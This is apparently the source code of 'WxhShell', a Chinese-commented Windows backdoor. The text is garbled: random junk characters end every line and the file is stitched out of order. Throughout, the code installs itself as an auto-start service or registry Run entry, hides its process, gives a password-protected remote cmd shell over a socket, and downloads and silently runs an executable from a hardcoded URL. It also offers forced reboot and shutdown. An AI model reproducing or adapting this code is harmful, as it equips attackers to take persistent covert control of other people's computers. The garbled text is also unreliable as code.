    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MQAb8 K:e  
    else { Ood&cP'c  
    closesocket(wsh); #u>JCPz  
    ExitThread(0); k&^fIz  
    } crUXpD  
    break; dS-l2 $n  
    } 6D>o(b2  
  // 获取shell sXAXHZ{  
  case 's': { m$3&r2vgi  
    CmdShell(wsh); m]85F^R0  
    closesocket(wsh); aX~7NslR  
    ExitThread(0); Vki3D'.7N  
    break; UGIyNMY  
  } J::dY~@  
  // 退出 { Uh/ ~zu  
  case 'x': { ;Q ]bV52  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]P-;]*&=  
    CloseIt(wsh); w%kxY5q  
    break; &N,c:dNe  
    } ,+f'%)s_x  
  // 离开 KV Mm<]Z  
  case 'q': { EBJaFz'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r>5,U:6Q/  
    closesocket(wsh); *@dqAr%  
    WSACleanup(); t>^An:xT  
    exit(1); I-^Y$6-  
    break; ;s{rJG{inG  
        } cu |{cy-  
  } jGId)f!)  
  } 6B&':N98  
GSsot%B u"  
  // 提示信息 ~"8b\oLW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i-$]Tg  
} 60*=Bs%b  
  } l%U{Unwu  
) "'J]6  
  return; }oU0J  
} 4Xlq Ym  
 \:Q)Ef  
// shell模块句柄 hl8[A-d(R  
int CmdShell(SOCKET sock) `uY77co6  
{ ((#|>W\&  
STARTUPINFO si; , j7&(V~  
ZeroMemory(&si,sizeof(si)); EP*"=_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7D<M\l8G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JpN+'/  
PROCESS_INFORMATION ProcessInfo; 4~DoqT  
char cmdline[]="cmd"; 2 g,UdG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zl$'W=[rFs  
  return 0; M,zUg_ @  
} d(<[$ 3.  
TX$j-TM'  
// 自身启动模式 #Fq6-]y1")  
int StartFromService(void) {eL XVNR7R  
{ ;V@o 2a  
typedef struct G7 b>r  
{ &G:#7HX@-  
  DWORD ExitStatus; ;>bcI).  
  DWORD PebBaseAddress; Pi`}-GUe,  
  DWORD AffinityMask; rz5AIe>Hm  
  DWORD BasePriority; Bg {"{poy  
  ULONG UniqueProcessId; O1V s!  
  ULONG InheritedFromUniqueProcessId; >yiK&LW^?  
}   PROCESS_BASIC_INFORMATION; :T.j;~  
e2~&I`ct  
PROCNTQSIP NtQueryInformationProcess; N2WQrTA:S+  
"6o}g.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yal T6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Qt` }$]  
P`0}( '"U  
  HANDLE             hProcess; @uXF(KDX  
  PROCESS_BASIC_INFORMATION pbi; Yv\>\?865  
N$i!25F`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yP. ,Dh s  
  if(NULL == hInst ) return 0; !/2u O5  
X|++K;rtfE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8tJB/P w`S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0CX2dk"UB^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K 0R<a~  
?hHVawt  
  if (!NtQueryInformationProcess) return 0; jInI%  
yz.a Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8R0Q-,'  
  if(!hProcess) return 0; Z jLuqo  
0ZcvpR?G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [z=KHk  
sF[7pE  
  CloseHandle(hProcess); <A"[Wk  
j\@Ht~G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k /srT<  
if(hProcess==NULL) return 0; _P,3~ ;  
xA/Ein0  
HMODULE hMod; oK\{#<gCZ  
char procName[255]; ai0am  
unsigned long cbNeeded; Q*&k6A"jx  
3 vr T`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W~b->F  
f-$%Ck$%,  
  CloseHandle(hProcess); gqw ]L>Z  
^N# z&oh  
if(strstr(procName,"services")) return 1; // 以服务启动 Q6%dM'fR  
l7vU{Fd-h^  
  return 0; // 注册表启动 X!6oviT|m  
} re[v}cB  
*7cc4 wGQ  
// 主模块 K FMx(fD  
int StartWxhshell(LPSTR lpCmdLine) , !0-;H.Y  
{ {5`=){  
  SOCKET wsl; DNwqi"  
BOOL val=TRUE; ?Pbh&!  
  int port=0; o>~xrV`E  
  struct sockaddr_in door; m}`!FaB #  
nz+k ,  
  if(wscfg.ws_autoins) Install(); nymro[@O~  
N #C,q&;  
port=atoi(lpCmdLine); 'qoDFR\v  
4+?d0  
if(port<=0) port=wscfg.ws_port; 8p"R4  
@?bO@  
  WSADATA data; s&.VU|=VQ@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a\_?zi]s&,  
*UxN~?N|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E)ne z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N./l\NtZ  
  door.sin_family = AF_INET; "Zr+>a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Lfr>y_i;F  
  door.sin_port = htons(port); Ynxzkm S  
O> .gcLA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z2@_F7cXt  
closesocket(wsl); D0 5JQ*  
return 1; q/qJkr^2  
} )+L.$h  
1>)q 5D  
  if(listen(wsl,2) == INVALID_SOCKET) { 7j,u&%om  
closesocket(wsl); 7^bde<0  
return 1; J)I|Xot  
} (?y (0%q  
  Wxhshell(wsl); lE|Hp  
  WSACleanup(); >n(Ga9E  
xQU$E|I  
return 0; n.L/Xp@gc  
@T 5dPmn  
} o%j[]P@4G  
E'KKR1t  
// 以NT服务方式启动 Q95`GuI@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `PH]_]:%  
{ sW#OA\i &  
DWORD   status = 0; (:h#H[F  
  DWORD   specificError = 0xfffffff; DWXxB  
@a~GHG[x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QtSJ9;eP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZkA05wPZ#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0cF +4,5  
  serviceStatus.dwWin32ExitCode     = 0; P[L] S7FTr  
  serviceStatus.dwServiceSpecificExitCode = 0; zqJ0pDS  
  serviceStatus.dwCheckPoint       = 0; +5<]s+4T  
  serviceStatus.dwWaitHint       = 0; og$%`o:{  
jXH?os%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1^v?Ly8  
  if (hServiceStatusHandle==0) return; <<vT"2Q]  
sQl`0|VH  
status = GetLastError(); Yt3 +o<  
  if (status!=NO_ERROR) 1ZZ}ojq  
{ f5tkv<) %  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F4X0DRC,G  
    serviceStatus.dwCheckPoint       = 0; _DD.#YB</  
    serviceStatus.dwWaitHint       = 0; L;%_r)  
    serviceStatus.dwWin32ExitCode     = status; 7%` \E9t  
    serviceStatus.dwServiceSpecificExitCode = specificError; *h9S\Pv>j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q |1-j  
    return; 4).i4]%LH  
  } 7c8A|E0\mF  
  mN^/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; '.$va<  
  serviceStatus.dwCheckPoint       = 0; hO?RsYJ.F  
  serviceStatus.dwWaitHint       = 0; #Y>os3]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %G43g#pD  
} P-Up v6J3  
b~Q8&z2  
// 处理NT服务事件,比如:启动、停止 qZ=%r u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lk(.zYaaN  
{ f#>ubmuI^  
switch(fdwControl) n`TXm g  
{ Pbo759q 1  
case SERVICE_CONTROL_STOP: aK+jpi4?  
  serviceStatus.dwWin32ExitCode = 0; IUZ@n0/T  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K (!+l  
  serviceStatus.dwCheckPoint   = 0; ?7k%4~H t  
  serviceStatus.dwWaitHint     = 0; =jEh#  
  { yRdME>_L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VdC,M;/=Z  
  } S9VD/  
  return; lO+6|oF0  
case SERVICE_CONTROL_PAUSE: \2U FJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _*1{fvv0{  
  break; I[g;p8jr  
case SERVICE_CONTROL_CONTINUE: ,z@"pI b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3U\| E  
  break; z]d2 rzV(_  
case SERVICE_CONTROL_INTERROGATE: Nk ~"f5q7  
  break; +3wVcL  
}; 6jaol'{SuH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Uja`{uc  
} lKT<aYX  
x sN)a!  
// 标准应用程序主函数 9*b(\Z)N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7FB aN7l  
{ r0'6\MS13  
 HQ0fY  
// 获取操作系统版本 2Y-NxW^]  
OsIsNt=GetOsVer(); d) i64"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }bA@QEJ  
%j4AX  
  // 从命令行安装 T=~D>2C  
  if(strpbrk(lpCmdLine,"iI")) Install(); L5{DWm~@  
=bgu2#%Z  
  // 下载执行文件 &CcUr#|  
if(wscfg.ws_downexe) { s%OPoRE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PN"s ^]4  
  WinExec(wscfg.ws_filenam,SW_HIDE); oEN^O:9e  
} ed\umQ]   
%K/zVYGm&  
if(!OsIsNt) { Z!eW_""wp  
// 如果时win9x,隐藏进程并且设置为注册表启动 tQYkH$e`/{  
HideProc(); }^a" >$DU  
StartWxhshell(lpCmdLine); 0<4Nf]i  
} kWW$*d$  
else XhEJF !  
  if(StartFromService()) vlSSw+r9  
  // 以服务方式启动 BSd\Sg4  
  StartServiceCtrlDispatcher(DispatchTable); MUjfqxTT  
else F15Yn  
  // 普通方式启动 &4}Uaxt)  
  StartWxhshell(lpCmdLine); *kM^l!<g  
<>?7veN92  
return 0; |%~Zo:Q<$>  
} l'm\ *=3  
Z^_-LX:%  
*k^'xL  
T P#Hq  
=========================================== _7=LSf,9  
mYRsM s  
vDit&Lh{T  
7AouiL 2-W  
CA[3 R  
A.wuB  
" L,7+26XV"B  
o >Faq+@  
#include <stdio.h> s"-gnW  
#include <string.h> mLb>*xt$b@  
#include <windows.h> >Y 8\I  
#include <winsock2.h> ]mZN18#  
#include <winsvc.h> \&#IK9x{  
#include <urlmon.h> :rzq[J^  
5'%nLW7;O  
#pragma comment (lib, "Ws2_32.lib") 4mM?RGWv  
#pragma comment (lib, "urlmon.lib") t,,W{M|E(  
C;jV)hr6P  
#define MAX_USER   100 // 最大客户端连接数 0CR~ vQf#r  
#define BUF_SOCK   200 // sock buffer {1Hs5bg@  
#define KEY_BUFF   255 // 输入 buffer Q xm:5P  
)0UXTyw^  
#define REBOOT     0   // 重启 ~M Mv+d88  
#define SHUTDOWN   1   // 关机 AR?1_]"=  
L<H zPg  
#define DEF_PORT   5000 // 监听端口 LAjreC<W  
RIV + _}R  
#define REG_LEN     16   // 注册表键长度 n5s2\(  
#define SVC_LEN     80   // NT服务名长度 6*r#m%|   
Zog&:]P'F  
// 从dll定义API fMl uVND  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `2l j{N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3D^!U}E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rjWn>M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dh0nB  
,C;%AS/  
// wxhshell配置信息 W<tw],M-#  
struct WSCFG { ;w(tXcXZ  
  int ws_port;         // 监听端口 DU|>zO%  
  char ws_passstr[REG_LEN]; // 口令 AU3>v  
  int ws_autoins;       // 安装标记, 1=yes 0=no , aJC7'(  
  char ws_regname[REG_LEN]; // 注册表键名 9kby-A4  
  char ws_svcname[REG_LEN]; // 服务名 {\p&?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;&OVV+y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ttfCiP$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Pk/3oF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]}z"H@k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,9YgznQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &qMt07  
Tg_#z  
}; &OXm^f)K  
{({Rb$  
// default Wxhshell configuration +rWcfXOHM  
struct WSCFG wscfg={DEF_PORT, OYLg-S  
    "xuhuanlingzhe", F\Q X=n  
    1, G:4'')T  
    "Wxhshell", @wPyXl  
    "Wxhshell", |y.^F3PE  
            "WxhShell Service", U-:"Wx%G  
    "Wrsky Windows CmdShell Service", wY xk[)&Y  
    "Please Input Your Password: ", * &O4b3R  
  1, 6.6;oa4j  
  "http://www.wrsky.com/wxhshell.exe", }/J<#}t  
  "Wxhshell.exe" Y{D?&x%yq  
    }; _h^er+d!_  
';zS0Yk  
// 消息定义模块 PFI^+';  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &1Cif$Y4w  
char *msg_ws_prompt="\n\r? for help\n\r#>";  sDl @  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %pj T?G7  
char *msg_ws_ext="\n\rExit."; 8z)J rO}  
char *msg_ws_end="\n\rQuit."; K)N'~jCG  
char *msg_ws_boot="\n\rReboot..."; S=_*<[W%4  
char *msg_ws_poff="\n\rShutdown..."; - jWXE  
char *msg_ws_down="\n\rSave to "; WbJ  
JJ4w]Dd4  
char *msg_ws_err="\n\rErr!"; .Ge`)_e  
char *msg_ws_ok="\n\rOK!"; <pIel   
HyY ol*  
char ExeFile[MAX_PATH]; /K :H2?J  
int nUser = 0; >41K>=K  
HANDLE handles[MAX_USER]; 1TlMB  
int OsIsNt; GV8`.3DBOF  
=<[M$"S7d6  
SERVICE_STATUS       serviceStatus; r8,'LZIz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XDyFe'1I  
Oh; V%G  
// 函数声明 TR'<D9kn  
int Install(void); 5gKXe4}\/|  
int Uninstall(void); =z*SzG  
int DownloadFile(char *sURL, SOCKET wsh);  N~vK8j@  
int Boot(int flag); OICH:(t_  
void HideProc(void); MmH(dp+  
int GetOsVer(void); Y$0K}`{  
int Wxhshell(SOCKET wsl); [oG Sy5bB  
void TalkWithClient(void *cs); "?S> }G\  
int CmdShell(SOCKET sock); Rc(E';uc  
int StartFromService(void); :V~ AjV  
int StartWxhshell(LPSTR lpCmdLine); W(o#2;{ ln  
jZR2Nx}16  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k2:mIp\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OLE@35"v]  
;T3}#Q*qC  
// 数据结构和表定义 r1a/'+   
SERVICE_TABLE_ENTRY DispatchTable[] = kJ"}JRA<  
{ ![ @i+hl  
{wscfg.ws_svcname, NTServiceMain}, Y/]J0D  
{NULL, NULL} xp%LXx j  
}; m2v'zJd}g  
2Q)pT$  
// 自我安装 ]zh6[0V7V  
int Install(void) 4P=)u}{]^#  
{ d~;U-  
  char svExeFile[MAX_PATH]; 1EQLsg`d^  
  HKEY key; ZsN3 MbY  
  strcpy(svExeFile,ExeFile); M5c *vs  
 U92?e}=]  
// 如果是win9x系统,修改注册表设为自启动 sNsH l  
if(!OsIsNt) { 4XNkto  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { seiE2F[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qdxDR 2]U  
  RegCloseKey(key); L8?;A9pc()  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { plgiQr #  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7VW/v4n  
  RegCloseKey(key); IPk"{T3  
  return 0; C j:  
    } 'tY y_  
  } C^ZD Uj`  
} &uXu$)IZ  
else { N4w&g-  
Dpkc9~z  
// 如果是NT以上系统,安装为系统服务 g-<[* nF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5@EX,$h  
if (schSCManager!=0) wpa^]l  
{ VWW(=j  
  SC_HANDLE schService = CreateService O#`y;%  
  ( jBU!xCO  
  schSCManager, e_dsBmTh  
  wscfg.ws_svcname, Ns6C xE9  
  wscfg.ws_svcdisp, \9k{h08s  
  SERVICE_ALL_ACCESS, Z&5cJk W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -)[~%n#X+t  
  SERVICE_AUTO_START, G\#dMCk?  
  SERVICE_ERROR_NORMAL, K-n]m#U4o  
  svExeFile,  \z?-  
  NULL, X!K:V~WG  
  NULL, #Ti5G"C  
  NULL, eb7~\|9l1i  
  NULL, Hr/Q?7g  
  NULL `q+Ug  
  ); /JmWiBQIn  
  if (schService!=0) wj9 Hh  
  { UQ~gjnb[c  
  CloseServiceHandle(schService); $O,IXA  
  CloseServiceHandle(schSCManager); 7%yP5c B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QA#Jx  
  strcat(svExeFile,wscfg.ws_svcname); W{nDmG`yp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YLid2aF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -9yWf8;  
  RegCloseKey(key); PY[!H<tt  
  return 0; Vc&xXtm[v  
    } D`NQEt"(  
  } dwz {Yw(  
  CloseServiceHandle(schSCManager); crU]P $a  
} :JCe,1!3@  
} ]lA.?  
6B@{X^6y  
return 1; Jqqt@5Ni  
} )P9&I.a8  
~}ba2dU8  
// 自我卸载 g&d tOjM  
int Uninstall(void) '/@i} digf  
{ ` W{y  
  HKEY key; M~-jPY,+  
M (.Up  
if(!OsIsNt) { C[nacAi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T9]:, z  
  RegDeleteValue(key,wscfg.ws_regname); jo ~p#l.'  
  RegCloseKey(key); A~#w gLGn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -}P/<cu:  
  RegDeleteValue(key,wscfg.ws_regname); &u0on) E  
  RegCloseKey(key); s3oQ( wC %  
  return 0; g/OL ^A  
  } * NdL4c~  
} yYvv!w+@Q  
} PZhpp"  
else { bf$4Z: Y  
fe7DS)U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zwdi$rM5  
if (schSCManager!=0) Q9sxI}D )R  
{ \O+Hmi^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ux1SQ8C*  
  if (schService!=0) OB\jq!"  
  { JV;-P=o1B  
  if(DeleteService(schService)!=0) { HKYJgx  
  CloseServiceHandle(schService); ,dSP%?vV  
  CloseServiceHandle(schSCManager); U\UlQ p?  
  return 0; |oTA $bln  
  } Fo GSCg%  
  CloseServiceHandle(schService); z>O=. Ku6  
  } ;1>)p x**  
  CloseServiceHandle(schSCManager); *!L it:H  
} Schvwlm~i  
} 7=pJ)4;ZA  
kT4Oal+4  
return 1; a'YK1QX  
} |v= */e  
YE1X*'4  
// 从指定url下载文件 [+>cW0a  
int DownloadFile(char *sURL, SOCKET wsh) !z?;L_Lb  
{ =l1O9/\9  
  HRESULT hr; O"f|gc)GLz  
char seps[]= "/"; THz=_L6  
char *token; IW- BY =C  
char *file; 1n EW'F  
char myURL[MAX_PATH]; ~\[\S!"  
char myFILE[MAX_PATH]; Dt]*M_  
2[Vs@X  
strcpy(myURL,sURL); ^26}8vt  
  token=strtok(myURL,seps); btv.M  
  while(token!=NULL) v>p}f"$`  
  { 17@#"uT0  
    file=token; 5/4q}U3  
  token=strtok(NULL,seps); *)um^O  
  } QHbjZJ N  
AOR(1Qyo  
GetCurrentDirectory(MAX_PATH,myFILE); E~eSHJ(oR7  
strcat(myFILE, "\\"); p^9u8T4l1  
strcat(myFILE, file); o 9{~F`{p  
  send(wsh,myFILE,strlen(myFILE),0); hT[w" &3  
send(wsh,"...",3,0); TW~9<c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D|X@aUp 8}  
  if(hr==S_OK) Qj(|uGqm3  
return 0; FAF+}  
else QOKE9R#Y  
return 1; W5zlU2  
i2 m+s;  
} xGo,x+U*  
<ly.l]g  
// 系统电源模块 9xIz[`)i.  
int Boot(int flag) :WnF>zN  
{ &l2C-(  
  HANDLE hToken; (}&O)3)  
  TOKEN_PRIVILEGES tkp; 0v'FE35~s  
|(O _K(  
  if(OsIsNt) { ul[+vpH9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +oRwXO3W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +!)v=NY  
    tkp.PrivilegeCount = 1; GN@(!V#/4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K*fh`Kz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U8icP+Y  
if(flag==REBOOT) { o~={M7 m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $C~OV@I  
  return 0; x /xd  
} 9ZXEy }q57  
else { 3ew`e"s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;-@v1I;  
  return 0; q8P$Md-=b1  
} =#sr4T  
  } Uh8c!CA8:\  
  else { "[p-Iy1  
if(flag==REBOOT) { \1cJ?/$_Of  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !(-S?*64l  
  return 0; sU 5/c|&  
} zd^QG  
else { 1"P^!N  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L[cl$ pYV  
  return 0; pG(%yIiAi  
} `w/`qG:dK  
} GV(@(bI*  
DSc:>G  
return 1; p:CpY'KV_  
} z 2Rg`1B  
)TV{n#n  
// win9x进程隐藏模块 R3ru<u>k&  
void HideProc(void) sqP (1|9  
{ 1*u i|fuK  
<zhN7="  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C lekB  
  if ( hKernel != NULL ) ?^z.WQ|f@  
  { E4dN,^_ F!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '+*{u]\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FCMV1,  
    FreeLibrary(hKernel); + 4*jO5EZ  
  } +YK/^;Th  
gdkQ h_\  
return; =TG[isC/F9  
} P<{N)H 2r  
5 Yf T  
// 获取操作系统版本 o2#_CdU   
int GetOsVer(void) o9#8q_D9  
{ N#"(  
  OSVERSIONINFO winfo; U jrML  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zs@xw@  
  GetVersionEx(&winfo); }* s%|!{H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Me XGE  
  return 1; 380M &Guh  
  else cas5  
  return 0; I# U"DwM  
} E ) iEWc  
|SfmQ;  
// 客户端句柄模块 9et%Hn.K'  
int Wxhshell(SOCKET wsl) N5\]VCX  
{ @XR N#_{  
  SOCKET wsh; iR(jCD?) Y  
  struct sockaddr_in client; ,/ bv3pE  
  DWORD myID; F2 #s^4Ii  
>;}q  
  while(nUser<MAX_USER) U#=5HzE  
{ m0zbG1OE  
  int nSize=sizeof(client); `rLy7\@;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -AcVVK&  
  if(wsh==INVALID_SOCKET) return 1; cgevP`*]  
Y~%9TC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oe*Y(T\G  
if(handles[nUser]==0) 27q=~R}  
  closesocket(wsh); "Gh5 ^$w?j  
else aS,M=uqqK  
  nUser++; >GV = %  
  } yE4X6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IGC:zZ~z  
O${B)C,  
  return 0; N,M[Opm  
} LWp#i8,  
0v/}W(  
// 关闭 socket z1R_a=7  
void CloseIt(SOCKET wsh) ?ot7_vl  
{ ,q|;`?R;  
closesocket(wsh); CV )v6f  
nUser--; VA^yv1We  
ExitThread(0); [9U: :  
} 0V_dg |.  
6mAaFDI,R  
// 客户端请求句柄 +P5\N,,7R  
void TalkWithClient(void *cs) %SHgXd#X  
{ v62M8r,Y  
dNg5#?mzT5  
  SOCKET wsh=(SOCKET)cs; ap y#8]  
  char pwd[SVC_LEN]; XD=p:Ezh  
  char cmd[KEY_BUFF]; 1U(P0$C  
char chr[1]; 8+yC P_Y4  
int i,j; 1x8zub B  
"0ZBPp1q  
  while (nUser < MAX_USER) { -h?ed'e/zz  
6b6rM%B.oD  
if(wscfg.ws_passstr) { EFqYEDXW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )W1tBi  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D`e6#1DbJ  
  //ZeroMemory(pwd,KEY_BUFF); Svun RUE-f  
      i=0; Ga M:/.  
  while(i<SVC_LEN) { R@[gkj  
Q?uHdmY*X  
  // 设置超时 [W#M(`}D  
  fd_set FdRead; : 3 aZ_  
  struct timeval TimeOut; aI'MVKwMk  
  FD_ZERO(&FdRead); TyG;BF|rwk  
  FD_SET(wsh,&FdRead); UcI;(Va  
  TimeOut.tv_sec=8; }Jr!a M'  
  TimeOut.tv_usec=0; ,K>q{H^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4[o/p8*/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cU  
c?H@HoF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e#/SFI0m  
  pwd=chr[0]; 5_ \+8A*  
  if(chr[0]==0xd || chr[0]==0xa) { V9%!B3Sb  
  pwd=0; jMV9r-{*+  
  break; -Y=o  
  } Qf:#{~/  
  i++; 9iy3 dy^  
    } Q`{2 yU:r  
c ?(X(FQ  
  // 如果是非法用户,关闭 socket 2iV/?.<Z&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C1ZuDL)e  
} r]<?,xx [  
)'3V4Z&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); % r>v^1Vo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "k'P #v{f  
lc8zF5  
while(1) { 8EBy5X}US  
dtDT^~  
  ZeroMemory(cmd,KEY_BUFF); zHu w[  
\zMx~-2oN  
      // 自动支持客户端 telnet标准   _Q=h3(ZI  
  j=0; w$1B|7tX;2  
  while(j<KEY_BUFF) { Ht_7:5v&   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |JVp(Kx  
  cmd[j]=chr[0]; #P)(/>nF  
  if(chr[0]==0xa || chr[0]==0xd) { u P&<  
  cmd[j]=0; Mr6q7  
  break; l?Qbwv}  
  } HV}*}Ty  
  j++; OB5t+_ s  
    } 4;D>s8dgG  
fUV;3du  
  // 下载文件 :% m56  
  if(strstr(cmd,"http://")) { }xG~ a=,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p1`") $  
  if(DownloadFile(cmd,wsh)) p.@_3^#|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); > %B7/l$  
  else X7Z=@d(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lV ra&5  
  } mDX UF~G[  
  else { oH>G3n|U^  
_p^&]eQ+k#  
    switch(cmd[0]) { agUdPl$e\  
  .jK,6't^  
  // 帮助 %SKJ#b  
  case '?': { og)f?4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U3OXO 1  
